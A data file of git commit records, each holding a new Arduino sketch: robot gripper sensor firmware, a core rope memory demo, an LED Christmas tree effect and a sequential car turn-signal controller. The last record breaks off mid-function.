sensor\n","repos":"pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc,pazeshun\/jsk_apc","old_file":"jsk_arc2017_baxter\/firmware\/gripper_v6\/sensor_manager_right_sparkfun\/sensor_manager_right_sparkfun.ino","new_file":"jsk_arc2017_baxter\/firmware\/gripper_v6\/sensor_manager_right_sparkfun\/sensor_manager_right_sparkfun.ino","new_contents":"#include <SPI.h>\n#include <ros.h>\n#include <Wire.h>\n#include <jsk_arc2017_baxter\/GripperSensorStates.h>\n\n#define WIRE Wire\n\n\/***** GLOBAL CONSTANTS *****\/\n\n#define VCNL4040_ADDR 0x60 \/\/7-bit unshifted I2C address of VCNL4040\n\n\/\/Command Registers have an upper byte and lower byte.\n#define PS_CONF1 0x03\n\/\/#define PS_CONF2 \/\/High byte of PS_CONF1\n#define PS_CONF3 0x04\n\/\/#define PS_MS \/\/High byte of PS_CONF3\n#define PS_DATA_L 0x08\n\/\/#define PS_DATA_M \/\/High byte of PS_DATA_L\n\n\n#define NSENSORS 5\n#define PCA9547D_RESET 32\n#define LOOP_TIME 50 \/\/ loop duration in ms\n\n\/***** ROS *****\/\nros::NodeHandle nh;\njsk_arc2017_baxter::GripperSensorStates gripper_sensor_msg;\nros::Publisher gripper_sensor_pub(\"rgripper_sensors\", &gripper_sensor_msg);\nuint32_t proximities[NSENSORS];\n\n\nuint16_t dig_T1;\nint16_t dig_T2;\nint16_t dig_T3;\nuint16_t dig_P1;\nint16_t dig_P2;\nint16_t dig_P3;\nint16_t dig_P4;\nint16_t dig_P5;\nint16_t dig_P6;\nint16_t dig_P7;\nint16_t dig_P8;\nint16_t dig_P9;\n\nint ChgI2CMultiplexer(unsigned char adrs,unsigned char ch)\n{\n unsigned char c;\n int ans;\n\n Wire.beginTransmission(adrs);\n c = ch & 0x07;\n c = c | 0x08;\n Wire.write(c);\n ans = Wire.endTransmission();\n\n return ans ;\n}\n\nvoid measure_proximity()\n{\n int i;\n for(i=0;i<NSENSORS;i++)\n {\n ChgI2CMultiplexer(0x70, i);\n proximities[i] = readFromCommandRegister(PS_DATA_L);\n delay(1);\n }\n\n gripper_sensor_msg.proximities = proximities;\n gripper_sensor_msg.proximities_length = NSENSORS;\n}\n\nvoid measure_pressure_and_flex()\n{\n float press_act = 0.0;\n unsigned long int pres_raw, temp_raw;\n readData(&pres_raw, &temp_raw);\n press_act = (float)calibration_P(pres_raw, calibration_T(temp_raw)) \/ 100.0;\n gripper_sensor_msg.pressure = press_act;\n\n delay(1);\n\n gripper_sensor_msg.r_finger_flex = analogRead(A0);\n gripper_sensor_msg.l_finger_flex = analogRead(A1);\n}\n\n\nvoid initVCNL4040()\n{\n \/\/Clear PS_SD to turn on proximity sensing\n \/\/byte conf1 = 0b00000000; \/\/Clear PS_SD bit to begin reading\n byte conf1 = 0b00001110; \/\/Integrate 8T, Clear PS_SD bit to begin reading\n byte conf2 = 0b00001000; \/\/Set PS to 16-bit\n \/\/byte conf2 = 0b00000000; \/\/Clear PS to 12-bit\n writeToCommandRegister(PS_CONF1, conf1, conf2); \/\/Command register, low byte, high byte\n\n delay(1);\n \/\/Set the options for PS_CONF3 and PS_MS bytes\n byte conf3 = 0x00;\n byte ms = 0b00000001; \/\/Set IR LED current to 75mA\n \/\/byte ms = 0b00000010; \/\/Set IR LED current to 100mA\n \/\/byte ms = 0b00000110; \/\/Set IR LED current to 180mA\n \/\/byte ms = 0b00000111; \/\/Set IR LED current to 200mA\n writeToCommandRegister(PS_CONF3, conf3, ms);\n}\n\n\/\/Reads a two byte value from a command register\nunsigned int readFromCommandRegister(byte commandCode)\n{\n Wire.beginTransmission(VCNL4040_ADDR);\n Wire.write(commandCode);\n Wire.endTransmission(false); \/\/Send a restart command. Do not release bus.\n\n Wire.requestFrom(VCNL4040_ADDR, 2); \/\/Command codes have two bytes stored in them\n\n unsigned int data = Wire.read();\n data |= Wire.read() << 8;\n\n return (data);\n}\n\n\n\/\/Write a two byte value to a Command Register\nvoid writeToCommandRegister(byte commandCode, byte lowVal, byte highVal)\n{\n Wire.beginTransmission(VCNL4040_ADDR);\n Wire.write(commandCode);\n Wire.write(lowVal); \/\/Low byte of command\n Wire.write(highVal); \/\/High byte of command\n Wire.endTransmission(); \/\/Release bus\n}\n\n\nvoid setup()\n{\n nh.getHardware()->setBaud(115200);\n nh.initNode();\n nh.advertise(gripper_sensor_pub);\n\n pinMode(PCA9547D_RESET, OUTPUT);\n digitalWrite(PCA9547D_RESET, HIGH);\n Wire.begin();\n\n int i;\n for(i=0;i<NSENSORS;i++)\n {\n ChgI2CMultiplexer(0x70,i);\n initVCNL4040(); \/\/Configure sensor\n }\n\n pinMode(SS,OUTPUT);\n SPI.setClockDivider(SPI_CLOCK_DIV8);\n SPI.begin();\n initBME();\n readTrim();\n}\n\n\nvoid loop()\n{\n unsigned long time;\n time = millis();\n\n delay(1);\n\n measure_proximity();\n measure_pressure_and_flex();\n\n gripper_sensor_pub.publish(&gripper_sensor_msg);\n\n while (millis() < time + LOOP_TIME); \/\/ enforce constant loop time\n\n nh.spinOnce();\n}\n\nvoid initBME()\n{\n digitalWrite(SS, LOW);\n SPI.transfer((0xF5 & 0x7F));\n SPI.transfer(0xA0);\n SPI.transfer((0xF4 & 0x7F));\n SPI.transfer(0x27);\n digitalWrite(SS, HIGH);\n}\n\nvoid readTrim()\n{\n uint8_t data[24];\n int i;\n digitalWrite(SS, LOW);\n SPI.transfer((0x88 | 0x80));\n for (i = 0; i < 24; i++)\n {\n data[i] = SPI.transfer(0);\n }\n digitalWrite(SS, HIGH);\n\n dig_T1 = (data[1] << 8) | data[0];\n dig_T2 = (data[3] << 8) | data[2];\n dig_T3 = (data[5] << 8) | data[4];\n dig_P1 = (data[7] << 8) | data[6];\n dig_P2 = (data[9] << 8) | data[8];\n dig_P3 = (data[11] << 8) | data[10];\n dig_P4 = (data[13] << 8) | data[12];\n dig_P5 = (data[15] << 8) | data[14];\n dig_P6 = (data[17] << 8) | data[16];\n dig_P7 = (data[19] << 8) | data[18];\n dig_P8 = (data[21] << 8) | data[20];\n dig_P9 = (data[23] << 8) | data[22];\n}\n\nvoid readData(unsigned long int * pres_raw, unsigned long int * temp_raw)\n{\n uint8_t data[8];\n int i;\n digitalWrite(SS, LOW);\n SPI.transfer((0xF7 | 0x80));\n for (i = 0; i < 8; i++)\n {\n data[i] = SPI.transfer(0x00);\n }\n digitalWrite(SS, HIGH);\n *pres_raw = data[0];\n *pres_raw = ((*pres_raw) << 8) | data[1];\n *pres_raw = ((*pres_raw) << 4) | (data[2] >> 4);\n *temp_raw = data[3];\n *temp_raw = ((*temp_raw) << 8) | data[4];\n *temp_raw = ((*temp_raw) << 4) | (data[5] >> 4);\n}\n\nsigned long int calibration_T(signed long int adc_T)\n{\n\n signed long int var1, var2, T;\n var1 = ((((adc_T >> 3) - ((signed long int)dig_T1 << 1))) * ((signed long int)dig_T2)) >> 11;\n var2 = (((((adc_T >> 4) - ((signed long int)dig_T1)) * ((adc_T >> 4) - ((signed long int)dig_T1))) >> 12) * ((signed long int)dig_T3)) >> 14;\n\n return (var1 + var2);\n}\n\nunsigned long int calibration_P(signed long int adc_P, signed long int t_fine)\n{\n signed long int var1, var2;\n unsigned long int P;\n var1 = (((signed long int)t_fine) >> 1) - (signed long int)64000;\n var2 = (((var1 >> 2) * (var1 >> 2)) >> 11) * ((signed long int)dig_P6);\n var2 = var2 + ((var1 * ((signed long int)dig_P5)) << 1);\n var2 = (var2 >> 2) + (((signed long int)dig_P4) << 16);\n var1 = (((dig_P3 * (((var1 >> 2) * (var1 >> 2)) >> 13)) >> 3) + ((((signed long int)dig_P2) * var1) >> 1)) >> 18;\n var1 = ((((32768 + var1)) * ((signed long int)dig_P1)) >> 15);\n if (var1 == 0)\n {\n return 0;\n }\n P = (((unsigned long int)(((signed long int)1048576) - adc_P) - (var2 >> 12))) * 3125;\n if (P < 0x80000000)\n {\n P = (P << 1) \/ ((unsigned long int) var1);\n }\n else\n {\n P = (P \/ (unsigned long int)var1) * 2;\n }\n var1 = (((signed long int)dig_P9) * ((signed long int)(((P >> 3) * (P >> 3)) >> 13))) >> 12;\n var2 = (((signed long int)(P >> 2)) * ((signed long int)dig_P8)) >> 13;\n P = (unsigned long int)((signed long int)P + ((var1 + var2 + dig_P7) >> 4));\n return P;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jsk_arc2017_baxter\/firmware\/gripper_v6\/sensor_manager_right_sparkfun\/sensor_manager_right_sparkfun.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"29fbd2886aa02516219228469ff74d78b591113e","subject":"Create DublinMakerDemo.ino","message":"Create DublinMakerDemo.ino","repos":"mmcgaley\/CoreRopeMemory,mmcgaley\/CoreRopeMemory,mmcgaley\/CoreRopeMemory","old_file":"DublinMakerDemo\/DublinMakerDemo.ino","new_file":"DublinMakerDemo\/DublinMakerDemo.ino","new_contents":"\/* This is the Arduino logic for reading the bits from a \n * demo of Core Rope Memory\n * it was written for the demo produced for Dublin Maker 2015\n * the demo uses 5 bits to encode ASCII capital letters\n * meaigs@timui.org *\/\n\n\/* #include statements for the quad alphanum display *\/\n#include <Wire.h>\n#include \"Adafruit_LEDBackpack.h\"\n#include \"Adafruit_GFX.h\"\n\nAdafruit_AlphaNum4 quadDisplay = Adafruit_AlphaNum4();\n\n\/* mux control pins *\/\nint s0 = 8;\nint s1 = 9;\nint s2 = 10;\nint s3 = 11;\n\n\/* enable pin and signal pin for mux *\/\nint en = 12;\nint sigPin = A0;\n\n\/* global bool for dealing with user moving probe *\/\nboolean newChar = true;\n\n\/* display buffer for quadDisplay *\/\nchar displayBuffer[4] = {' ', ' ', ' ', ' '};\n\nvoid setup() {\n \/\/Serial.begin(9600); \/\/ setup serial monitor for debugging\n \n \/* signal control pins for mux *\/\n pinMode(s0, OUTPUT);\n pinMode(s1, OUTPUT);\n pinMode(s2, OUTPUT);\n pinMode(s3, OUTPUT);\n \n \/* set enable pin LOW -- this enables the mux *\/\n pinMode(en, OUTPUT);\n digitalWrite(en, LOW);\n \n quadDisplay.begin(0x70);\n\n \/* send some setup-y looking characters to the quad display *\/\n quadDisplay.writeDigitRaw(3, 0x0);\n quadDisplay.writeDigitRaw(0, 0xFFFF);\n quadDisplay.writeDisplay();\n delay(200);\n quadDisplay.writeDigitRaw(0, 0x0);\n quadDisplay.writeDigitRaw(1, 0xFFFF);\n quadDisplay.writeDisplay();\n delay(200);\n quadDisplay.writeDigitRaw(1, 0x0);\n quadDisplay.writeDigitRaw(2, 0xFFFF);\n quadDisplay.writeDisplay();\n delay(200);\n quadDisplay.writeDigitRaw(2, 0x0);\n quadDisplay.writeDigitRaw(3, 0xFFFF);\n quadDisplay.writeDisplay();\n delay(200);\n \n quadDisplay.clear();\n quadDisplay.writeDisplay();\n}\n\nvoid loop() {\n char bits[5]; \/\/ array to hold the bits read from the CRM\n readBits(bits);\n \n \/* if all bits are 0, assume we're about to read a new \n * character *\/\n if (bits[0] + bits[1] + bits[2] + bits[3] + bits[4] == 0) {\n newChar = true;\n }\n else {\n \/* if we've read all zeros since the last time we got here *\/\n if (newChar) {\n delay(300); \/\/ give it a moment\n readBits(bits); \/\/ then read again\n \n \/* if we get all zeros at this stage the user has had\n * some trouble making a good connection, keep reading \n * till we have something *\/\n while(bits[0] + bits[1] + bits[2] + bits[3] + bits[4] == 0) {\n delay(100);\n readBits(bits);\n }\n \n \/* convert the 5 bits to an ASCII char, and display\n * that to the quadDisplay -- this function scrolls\n * previously read characters across the display *\/\n displayChar(convertToAscii(bits));\n \n \/* reset the flag so we don't get endless repetitions \n * as long as the probe is held in place *\/\n newChar = false;\n } \/\/ end if new char\n } \/\/ end else all bits 0\n} \/\/ end main loop\n\nvoid readBits(char bits[]) {\n \/* a bit hack-y, but we know it's 5 bits, and sizeof wasn't \n * working as expected *\/\n for (int i = 0; i < 5; i++) {\n \/* get the voltage of bit i *\/\n int voltage = readMux(i);\n \n \/* if the voltage is dangerously high for the Arduino,\n * disable all mux pins, print an error, and loop forever *\/\n if (voltage > 1000) {\n digitalWrite(en, HIGH);\n while(1){\n displayChar('*');\n delay(100);\n displayChar('*');\n delay(100);\n displayChar('H');\n delay(100);\n displayChar('i');\n delay(100);\n displayChar('g');\n delay(100);\n displayChar('h');\n delay(100);\n }\n }\n \n if (voltage > 300) { \n bits[i] = 1;\n }\n else {\n bits[i] = 0;\n }\n }\n} \/\/ end function readBits\n\n\/* read voltage from specified channel on the mux\n * with thanks to \n * bildr.org\/2011\/02\/cd74hc4067-arduino\/ *\/\nint readMux(int channel) {\n int controlPin[] = {s3, s2, s1, s0}; \/\/ least sig. bit first\n \n int muxChannel[16][4] = {\n {0, 0, 0, 0}, \/\/ channel 0\n {0, 0, 0, 1}, \/\/ channel 1\n {0, 0, 1, 0}, \/\/ channel 2\n {0, 0, 1, 1}, \/\/ channel 3\n {0, 1, 0, 0}, \/\/ channel 4\n {0, 1, 0, 1}, \/\/ channel 5\n {0, 1, 1, 0}, \/\/ channel 6\n {0, 1, 1, 1}, \/\/ channel 7\n {1, 0, 0, 0}, \/\/ channel 8\n {1, 0, 0, 1}, \/\/ channel 9\n {1, 0, 1, 0}, \/\/ channel 10\n {1, 0, 1, 1}, \/\/ channel 11\n {1, 1, 0, 0}, \/\/ channel 12\n {1, 1, 0, 1}, \/\/ channel 13\n {1, 1, 1, 0}, \/\/ channel 14\n {1, 1, 1, 1}, \/\/ channel 15\n };\n \n for (int i = 0; i < 4; i++) {\n digitalWrite(controlPin[i], muxChannel[channel][i]);\n }\n \n int val = analogRead(sigPin);\n \n return val;\n} \/\/ end function readMux\n\nchar convertToAscii(char bitArray[]) {\n char converted = '@'; \/\/ 01000000 in ASCII\n \n for (int i = 0; i < 5; i++) {\n \/* bitwise OR the base character with each of the bits\n * we're interested in\n * (4 - i) because we're starting with the most significant\n * bit and working right *\/\n converted = converted | (bitArray[i] << (4 - i));\n }\n \n return converted;\n}\n\n\/* display a character to the quad display\n * with thanks to Adafruit *\/\nvoid displayChar(char c) {\n \/\/ scroll down display\n displayBuffer[0] = displayBuffer[1];\n displayBuffer[1] = displayBuffer[2];\n displayBuffer[2] = displayBuffer[3];\n displayBuffer[3] = c;\n \n \/\/ set every digit to the buffer\n quadDisplay.writeDigitAscii(0, displayBuffer[0]);\n quadDisplay.writeDigitAscii(1, displayBuffer[1]);\n quadDisplay.writeDigitAscii(2, displayBuffer[2]);\n quadDisplay.writeDigitAscii(3, displayBuffer[3]);\n \n \/\/ write it out!\n quadDisplay.writeDisplay();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DublinMakerDemo\/DublinMakerDemo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0a42d9f7afd3ea202d81929cbf8282bbc442dca8","subject":"christmas tree","message":"christmas tree\n","repos":"elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino","old_file":"tree\/tree.ino","new_file":"tree\/tree.ino","new_contents":"#include \"FastLED.h\"\n#define LED_DATA 7\n#define NUM_LEDS 200\n\nstruct CRGB leds[NUM_LEDS];\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n FastLED.addLeds<WS2811, LED_DATA, RGB>(leds, NUM_LEDS);\n Serial.begin(57600);\n set_max_power_in_volts_and_milliamps(5, 3000);\n randomSeed(analogRead(0));\n FastLED.setDither(0);\n FastLED.delay(50);\n}\n\nnamespace UpAndDownBy {\n bool increasing = true;\n \/\/ TODO increasing and numberOfSparkles should probably be passed by reference here!\n int go(int value, int difference, int max, int min) {\n if (value < max && increasing) {\n value += difference;\n } else if (value > min) {\n value -= difference;\n increasing = false;\n } else {\n increasing = true;\n value += difference;\n }\n return value;\n }\n}\n\nint upAndDownBy(int value, int difference, int max, int min) {\n return UpAndDownBy::go(value, difference, max, min);\n}\n\nnamespace BeautifulSparkles {\n int numberOfSparkles = 0;\n int hue = 0;\n\n void changeNumberOfSparkles() {\n numberOfSparkles = upAndDownBy(numberOfSparkles, 1, 20, 1);\n }\n\n void changeColor() {\n hue += 1;\n }\n\n CRGB color(int pos) {\n return CHSV(hue + (pos \/ 2), 240, 255);\n }\n\n void drawSparkles() {\n for (int i = 0; i < numberOfSparkles; i++) {\n int pos = random16(NUM_LEDS);\n leds[pos] = color(pos);\n }\n }\n\n void draw() {\n EVERY_N_MILLISECONDS(50) {\n changeNumberOfSparkles();\n drawSparkles();\n }\n EVERY_N_MILLISECONDS(10) {\n changeColor();\n }\n fadeToBlackBy(leds, NUM_LEDS, 7);\n }\n}\n\nvoid beautifulSparkles() {\n BeautifulSparkles::draw();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n beautifulSparkles();\n FastLED.show();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tree\/tree.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d114955d2b24fbadb56592c118f6ccf66622a7fc","subject":"Add turn indicator tap support","message":"Add turn indicator tap support\n","repos":"jasonsaler\/SequentialTL","old_file":"sequencial_turn_signal_4_8_0zxy\/sequencial_turn_signal_4_8_0zxy.ino","new_file":"sequencial_turn_signal_4_8_0zxy\/sequencial_turn_signal_4_8_0zxy.ino","new_contents":"\/*\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n+ + \n+ Program: Sequential Turn Signal Master +\n+ Version: 4.8.2zxy +\n+ Purpose: Using a 3 taillight per side configuration +\n+ this program will make them flash +\n+ sequentially for turn signal and brake. +\n+ Now and later supports tap signaling. +\n+ Author: Jason Saler +\n+ First Created: 05\/06\/2013 +\n+ Date Last Edited: 06\/24\/2017 +\n+ +\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n*\/\n\n\/\/ Define the input pins: Pin 9 will be right input, Pin 10 will be left input and Pin 11 will be brake input \n\/\/ 12 is Mode input which switches the program from sequential pattern to standard pattern\n#define RIGHT_SIGNAL_INPUT 9 \n#define LEFT_SIGNAL_INPUT 10 \n#define BRAKE_INPUT 11 \n#define MODE_INPUT 12 \n\n\/\/ Depending on the relay board this may need to be reversed\n#define ON LOW\n#define OFF HIGH\n\n\/\/ Several standard time lengths in milliseconds\n#define FAST_BLINK 100\n#define QUICK_BLINK 200\n#define MEDIUM_BLINK 250\n#define LONG_BLINK 350\n#define SLOW_BLINK 450\n#define PAUSE_SECOND 1000\n\n\/\/ The number of times a turning indicator sequence will run through on a tap\n#define MAX_REPEAT_ON_TAP 3\n\n\/\/ Now declare the 8 light output pins, 4 per side. Variable names are quite descriptive\n\/\/ Can use basically any pin, but note: Pin 13 has an LED connected on most Arduino boards.\nconst int leftMarkers = 1;\nconst int leftOuter = 2;\nconst int leftMiddle = 3; \nconst int leftInner = 4;\nconst int rightInner = 5; \nconst int rightMiddle = 6; \nconst int rightOuter = 7; \nconst int rightMarkers = 8;\n\n\/\/ Variables\nbool isRightTap = false;\nbool isLeftTap = false;\nint flashCount = 0;\n\n\/\/ I. the setup routine runs once when you press reset: This loop will reset all the variables to their starting type and state.\nvoid setup() \n{ \n \/\/ Initialize the LEDs as outputs.\n pinMode(rightInner, OUTPUT); \n pinMode(rightMiddle, OUTPUT);\n pinMode(rightOuter, OUTPUT);\n pinMode(leftInner, OUTPUT);\n pinMode(leftMiddle, OUTPUT);\n pinMode(leftOuter, OUTPUT);\n pinMode(rightMarkers, OUTPUT);\n pinMode(leftMarkers, OUTPUT);\n \n \/\/ Initialize the input pins as, well, inputs of course... \n pinMode(RIGHT_SIGNAL_INPUT, INPUT);\n pinMode(LEFT_SIGNAL_INPUT, INPUT);\n pinMode(BRAKE_INPUT, INPUT);\n pinMode(MODE_INPUT, INPUT);\n \n \/\/ Set the initial inputs as HIGH. Could also be done as low, but then all the states should be reversed throughout the program: 1 to 0 and visa versa.\n digitalWrite(RIGHT_SIGNAL_INPUT, HIGH);\n digitalWrite(LEFT_SIGNAL_INPUT, HIGH);\n digitalWrite(BRAKE_INPUT, HIGH);\n digitalWrite(MODE_INPUT, HIGH);\n}\n\n\/\/ II. The loop routine runs over and over again forever(or at least as long as the board has power and is working...) \n\/\/ This handles all of the actual light blinking and what not.\nvoid loop() \n{\n \/\/ 1. First the program will check if the brakes are on; if all inputs are 1, then nothing is on. \n \/\/ So nothing is lit up, set all the lights to LOW which is off.\n if((digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 1) and (!isRightTap) and (!isLeftTap))\n { \n off();\n resetFlashCount();\n } \n \n \/\/ 2. Next chack if the brakes are on (when BRAKE_INPUT is 0).\n if(digitalRead(BRAKE_INPUT) == 0)\n {\n if((digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 0) and digitalRead(MODE_INPUT) == 0)\n { \n brakeSequenceFlashOn(FAST_BLINK);\n }\n \n \/\/ 2.1 Keep the lights lit as long as the brake is on \n while(digitalRead(BRAKE_INPUT) == 0)\n { \n \n if((digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(RIGHT_SIGNAL_INPUT) == 1))\n {\n (digitalRead(MODE_INPUT) == 0) ? (brakeSequenceHoldOn()) : (brake()); \n }\n \n \/\/ 2.2 Here is if the right turn signal and brake are on.\n if( (digitalRead(LEFT_SIGNAL_INPUT) == 1) and ( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) || (isRightTap) ) )\n { \n (digitalRead(MODE_INPUT) == 0) ? (rightSequenceBrake(QUICK_BLINK, QUICK_BLINK)) : (rightBlinkBrake(SLOW_BLINK, MEDIUM_BLINK));\n }\n \n \/\/ 2.3. Now if the left turn signal and brake are both on\n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 1) and ( (digitalRead(LEFT_SIGNAL_INPUT) == 0) || (isLeftTap) ) )\n {\n (digitalRead(MODE_INPUT) == 0) ? (leftSequenceBrake(QUICK_BLINK, QUICK_BLINK)) : (leftBlinkBrake(SLOW_BLINK, MEDIUM_BLINK)); \n }\n } \n\n if((digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(MODE_INPUT) == 0) and (!isRightTap) and (!isLeftTap) )\n {\n brakeSequenceFlashOff(FAST_BLINK); \n }\n }\n \n \/\/ 3. Now checking for the emergency flashers being on, when this happens a fun litle flashing pattern is performed to warn other drivers of emergencies. \n else if(( digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 0) and (digitalRead(BRAKE_INPUT) == 1))\n {\n (digitalRead(MODE_INPUT) == 0) ? (emergencyFlasherSequence(FAST_BLINK, MEDIUM_BLINK, SLOW_BLINK)) : (emergencyFlasherBlink(SLOW_BLINK, MEDIUM_BLINK)); \n }\n\n \/\/ 4. This is the section if the brakes are on and the emergency flashers are on. A unique flashing pattern will be run in this case. \n \/\/ Due to unreliability of the arduino, this section has been omitted for real life use. (The board kept confusing which input was received) After removing this section the lights have been working flawlessly\n if(( digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 0) and (digitalRead(BRAKE_INPUT) == 0))\n {\n if(digitalRead(MODE_INPUT) == 0)\n brakeSequenceFlashOn(FAST_BLINK);\n \n while(digitalRead(BRAKE_INPUT) == 0)\n { \n (digitalRead(MODE_INPUT) == 0) ? (brakeSequenceHoldOn()) : (brake()); \n }\n \n if(digitalRead(MODE_INPUT) == 0)\n brakeSequenceFlashOff(FAST_BLINK);\n } \n \n else\n {\n \/\/ 5. This is if the right turn signal is on, do a cycle through the lights.\n if( ( (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 1) ) and ( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) || (!isRightTap) ) )\n {\n (digitalRead(MODE_INPUT) == 0) ? (rightSequence(QUICK_BLINK, QUICK_BLINK)) : (rightBlink(SLOW_BLINK, MEDIUM_BLINK));\n }\n \n \/\/ 6. Here is if the left turn signal is on. Cycle through the lights.\n if( ( (digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 1) ) and ( (digitalRead(LEFT_SIGNAL_INPUT) == 0) || (!isLeftTap) ) )\n {\n (digitalRead(MODE_INPUT) == 0) ? (leftSequence(QUICK_BLINK, QUICK_BLINK)) : (leftBlink(SLOW_BLINK, MEDIUM_BLINK));\n }\n }\n}\n\n\/\/ III. All constructive functions are found below.\n\/\/ Two options are given for each action, a regular blink or a sequential pattern.\n\nvoid rightSequence(int durationMillis, int pauseDurationMillis)\n{\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(ON, OFF, OFF, OFF);\n delay(durationMillis);\n \n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(ON, ON, OFF, ON);\n delay(durationMillis);\n\n checkIsTap(); \n \n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(ON, ON, ON, ON);\n delay(durationMillis);\n\n off();\n delay(pauseDurationMillis);\n\n updateTapControl();\n}\n\nvoid rightBlink(int durationMillis, int offDurationMillis)\n{\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, ON, ON, ON);\n delay(durationMillis);\n\n checkIsTap();\n \n off();\n delay(offDurationMillis);\n\n updateTapControl();\n}\n\nvoid leftSequence(int durationMillis, int pauseDurationMillis)\n{\n selectLeftOn(ON, OFF, OFF, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(durationMillis);\n \n selectLeftOn(ON, ON, OFF, ON);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(durationMillis);\n\n checkIsTap();\n \n selectLeftOn(ON, ON, ON, ON);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(durationMillis);\n\n off();\n delay(pauseDurationMillis);\n\n updateTapControl();\n}\n\nvoid leftBlink(int onDurationMillis, int offDurationMillis)\n{\n selectLeftOn(OFF, ON, ON, ON);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(onDurationMillis);\n\n checkIsTap();\n \n off();\n delay(offDurationMillis);\n\n updateTapControl();\n}\n\nvoid rightSequenceBrake(int durationMillis, int pauseDurationMillis)\n{\n selectRightOn(ON, OFF, OFF, OFF);\n selectLeftOn(ON, ON, ON, OFF);\n delay(durationMillis);\n \n selectRightOn(ON, ON, OFF, ON);\n selectLeftOn(ON, ON, ON, OFF);\n delay(durationMillis);\n\n checkIsTap();\n \n selectRightOn(ON, ON, ON, ON);\n selectLeftOn(ON, ON, ON, OFF);\n delay(durationMillis);\n\n selectRightOn(OFF, OFF, OFF, OFF);\n selectLeftOn(ON, ON, ON, OFF);\n delay(pauseDurationMillis);\n\n updateTapControl();\n}\n\nvoid rightBlinkBrake(int onDurationMillis, int offDurationMillis)\n{\n selectLeftOn(OFF, ON, ON, OFF);\n selectRightOn(OFF, ON, ON, ON);\n delay(onDurationMillis);\n\n checkIsTap();\n \n selectLeftOn(OFF, ON, ON, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(offDurationMillis);\n \n updateTapControl();\n}\n\nvoid leftSequenceBrake(int durationMillis, int pauseDurationMillis)\n{\n selectLeftOn(ON, OFF, OFF, OFF);\n selectRightOn(ON, ON, ON, OFF);\n delay(durationMillis);\n \n selectLeftOn(ON, ON, OFF, ON);\n selectRightOn(ON, ON, ON, OFF);\n delay(durationMillis);\n\n checkIsTap();\n \n selectLeftOn(ON, ON, ON, ON);\n selectRightOn(ON, ON, ON, OFF);\n delay(durationMillis);\n\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(ON, ON, ON, OFF);\n delay(pauseDurationMillis);\n \n updateTapControl();\n}\n\nvoid leftBlinkBrake(int onDurationMillis, int offDurationMillis)\n{\n selectLeftOn(OFF, ON, ON, ON);\n selectRightOn(OFF, ON, ON, OFF);\n delay(onDurationMillis);\n\n checkIsTap();\n\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, ON, ON, OFF);\n delay(offDurationMillis);\n \n updateTapControl();\n}\n\nvoid brakeSequenceFlashOn(int durationMillis)\n{\n selectLeftOn(ON, OFF, OFF, OFF);\n selectRightOn(ON, OFF, OFF, OFF);\n delay(durationMillis);\n \n selectLeftOn(ON, ON, OFF, OFF);\n selectRightOn(ON, ON, OFF, OFF);\n delay(durationMillis);\n}\n\nvoid brakeSequenceFlashOff(int durationMillis)\n{\n selectLeftOn(ON, ON, OFF, OFF);\n selectRightOn(ON, ON, OFF, OFF);\n delay(durationMillis);\n\n selectLeftOn(ON, OFF, OFF, OFF);\n selectRightOn(ON, OFF, OFF, OFF);\n delay(durationMillis);\n}\n\nvoid brakeSequenceHoldOn()\n{\n selectLeftOn(ON, ON, ON, OFF);\n selectRightOn(ON, ON, ON, OFF);\n}\n\nvoid brake()\n{\n selectLeftOn(OFF, ON, ON, OFF);\n selectRightOn(OFF, ON, ON, OFF);\n}\n\nvoid emergencyFlasherSequence(int flashDurationMillis, int offDurationMillis, int onDurationMillis)\n{\n brakeSequenceFlashOn(flashDurationMillis); \n selectLeftOn(ON, ON, ON, ON);\n selectRightOn(ON, ON, ON, ON);\n delay(onDurationMillis); \n \n brakeSequenceFlashOff(flashDurationMillis); \n off();\n delay(offDurationMillis);\n}\n\nvoid emergencyFlasherBlink(int onDurationMillis, int offDurationMillis)\n{\n \n selectLeftOn(OFF, ON, ON, ON);\n selectRightOn(OFF, ON, ON, ON);\n delay(onDurationMillis);\n \n off();\n delay(offDurationMillis); 